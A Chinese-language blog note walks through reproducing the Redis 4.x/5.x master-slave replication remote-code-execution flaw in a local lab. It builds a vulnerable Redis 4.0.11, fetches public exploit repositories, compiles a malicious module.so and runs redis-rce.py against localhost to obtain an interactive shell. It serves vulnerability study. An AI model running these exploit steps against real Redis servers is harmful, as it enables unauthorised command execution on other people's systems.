Redis 4.x 5.x漏洞手动复现
- 2020 年 3 月 6 日
- 筆記
前言:
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
近期,Redis被爆出存在通过主从复制从而Getshell的漏洞。
以下是漏洞说明以及利用步骤
一、环境搭建
环境介绍:KAIL 2019 、 VM
环境搭建命令如下
cd / wget download.redis.io/releases/redis-4.0.11.tar.gz tar zxf redis-4.0.11.tar.gz cd redis-4.0.11 make PREFIX=/usr/local/redis install

检查安装是否有问题
make test
如果报错了:
yum -y install tcl
将源码中redis.conf拷贝到/usr/local/redis目录
cp /redis-4.0.11/redis.conf /usr/local/redis
修改redis.conf中“daemonize no”为“daemonize yes”,表示redis以后台的方式启动
cd /usr/local/redis vi redis.conf
服务器启动
/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf
查看进程
ps -ef| grep redis
测试:

服务端停止服务
/usr/local/redis/bin/redis-cli shutdown
二、POC下载
https://github.com/Ridter/redis-rce
三、分析案例
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
四、编译SO地址
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
五、漏洞复现
1、后台启动
/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf

2、编译文件下载并且编译
root@solitary:/usr/local/redis# git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

root@solitary:/usr/local/redis# cd RedisModules-ExecuteCommand/ root@solitary:/usr/local/redis/RedisModules-ExecuteCommand# make root@solitary:/usr/local/redis/RedisModules-ExecuteCommand/src# ls Makefile module.c module.o module.so

3、漏洞利用
将POC放入这个目录

4、运行脚本
root@solitary:/usr/local/redis/RedisModules-ExecuteCommand/src# python redis-rce.py -r 127.0.0.1 -L 127.0.0.1 -f module.so
输入i

利用成功